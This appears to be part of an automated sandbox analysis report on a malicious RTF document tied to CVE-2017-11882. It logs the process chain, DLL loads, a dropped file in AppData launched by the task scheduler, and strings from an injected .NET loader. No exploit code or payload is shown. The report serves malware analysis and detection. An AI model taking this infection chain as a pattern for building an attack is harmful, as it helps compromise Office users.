Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe C:\Windows\explorer.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe C:\Windows\explorer.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe C:\Windows\explorer.exe	Jump to behavior
Source: C:\Windows\System32\taskeng.exe	Process created: C:\Users\user\AppData\Roaming\gwseuha C:\Users\user\AppData\Roaming\gwseuha	Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: msi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: version.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: secur32.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: webio.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: propsys.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: credssp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msacm32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: msi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Windows\System32\taskeng.exe	Section loaded: ktmw32.dll	Jump to behavior
Source: C:\Windows\System32\taskeng.exe	Section loaded: wevtapi.dll	Jump to behavior
Source: C:\Windows\System32\taskeng.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\taskeng.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Windows\System32\taskeng.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\taskeng.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gwseuha	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gwseuha	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gwseuha	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gwseuha	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gwseuha	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: credssp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: explorerframe.dll
Source: C:\Windows\explorer.exe	Section loaded: duser.dll
Source: C:\Windows\explorer.exe	Section loaded: dui70.dll
Source: C:\Windows\explorer.exe	Section loaded: uxtheme.dll
Source: C:\Windows\explorer.exe	Section loaded: powrprof.dll
Source: C:\Windows\explorer.exe	Section loaded: dwmapi.dll
Source: C:\Windows\explorer.exe	Section loaded: slc.dll
Source: C:\Windows\explorer.exe	Section loaded: secur32.dll
Source: C:\Windows\explorer.exe	Section loaded: propsys.dll
Source: C:\Windows\explorer.exe	Section loaded: dnsapi.dll
Source: C:\Windows\explorer.exe	Section loaded: winhttp.dll
Source: C:\Windows\explorer.exe	Section loaded: webio.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: wow64win.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: wow64cpu.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: explorerframe.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: duser.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dui70.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: powrprof.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dwmapi.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: slc.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dnsapi.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: winhttp.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: webio.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: wow64win.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: wow64cpu.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: explorerframe.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: duser.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dui70.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: powrprof.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dwmapi.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: slc.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: winhttp.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: webio.dll
Source: C:\Windows\explorer.exe	Section loaded: explorerframe.dll
Source: C:\Windows\explorer.exe	Section loaded: duser.dll
Source: C:\Windows\explorer.exe	Section loaded: dui70.dll
Source: C:\Windows\explorer.exe	Section loaded: uxtheme.dll
Source: C:\Windows\explorer.exe	Section loaded: powrprof.dll
Source: C:\Windows\explorer.exe	Section loaded: dwmapi.dll
Source: C:\Windows\explorer.exe	Section loaded: slc.dll
Source: C:\Windows\explorer.exe	Section loaded: secur32.dll
Source: C:\Windows\explorer.exe	Section loaded: propsys.dll
Source: C:\Windows\explorer.exe	Section loaded: winhttp.dll
Source: C:\Windows\explorer.exe	Section loaded: webio.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: wow64win.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: wow64cpu.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: explorerframe.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: duser.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dui70.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: powrprof.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dwmapi.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: slc.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dnsapi.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: winhttp.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: webio.dll
Source: C:\Windows\explorer.exe	Section loaded: explorerframe.dll
Source: C:\Windows\explorer.exe	Section loaded: duser.dll
Source: C:\Windows\explorer.exe	Section loaded: dui70.dll
Source: C:\Windows\explorer.exe	Section loaded: uxtheme.dll
Source: C:\Windows\explorer.exe	Section loaded: powrprof.dll
Source: C:\Windows\explorer.exe	Section loaded: dwmapi.dll
Source: C:\Windows\explorer.exe	Section loaded: slc.dll
Source: C:\Windows\explorer.exe	Section loaded: secur32.dll
Source: C:\Windows\explorer.exe	Section loaded: propsys.dll
Source: C:\Windows\explorer.exe	Section loaded: dnsapi.dll
Source: C:\Windows\explorer.exe	Section loaded: winhttp.dll
Source: C:\Windows\explorer.exe	Section loaded: webio.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: wow64win.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: wow64cpu.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: explorerframe.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: duser.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dui70.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: powrprof.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dwmapi.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: slc.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dnsapi.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: winhttp.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: webio.dll
Source: C:\Windows\explorer.exe	Section loaded: explorerframe.dll
Source: C:\Windows\explorer.exe	Section loaded: duser.dll
Source: C:\Windows\explorer.exe	Section loaded: dui70.dll
Source: C:\Windows\explorer.exe	Section loaded: uxtheme.dll
Source: C:\Windows\explorer.exe	Section loaded: powrprof.dll
Source: C:\Windows\explorer.exe	Section loaded: dwmapi.dll
Source: C:\Windows\explorer.exe	Section loaded: slc.dll
Source: C:\Windows\explorer.exe	Section loaded: secur32.dll
Source: C:\Windows\explorer.exe	Section loaded: propsys.dll
Source: C:\Windows\explorer.exe	Section loaded: dnsapi.dll
Source: C:\Windows\explorer.exe	Section loaded: winhttp.dll
Source: C:\Windows\explorer.exe	Section loaded: webio.dll

Source: C:\Windows\SysWOW64\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{B54F3741-5B07-11CF-A4B0-00AA004A55E8}\InprocServer32

Jump to behavior

Source: SecuriteInfo.com.Exploit.CVE-2017-11882.123.12869.5405.LNK.0.dr

LNK file: ..\..\..\..\..\Desktop\SecuriteInfo.com.Exploit.CVE-2017-11882.123.12869.5405.rtf

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source:	Binary string: D:\New Private Panell Src 3.0\Rump Updated FIX C#\src\obj\Debug\dnlib.pdb\ source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetHandler source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMemberRefProps source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeRefs source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetParent source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.ApplyEditAndContinue source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: System.Collections.Generic.IEnumerator<dnlib.DotNet.Pdb.PdbScope>.Current source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineModuleRef source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: RegAsm.pdb source: gwseuha, 00000011.00000000.414661031.00000000013A2000.00000020.00000001.01000000.00000008.sdmp, gwseuha.12.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNameFromToken source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteFieldMarshal source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindField source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMembers source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteClassLayout source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.IsValidToken source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.Merge source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMemberRef source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetParamProps source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetParamProps source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetSaveSize source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindTypeRef source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.ResetEnum source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
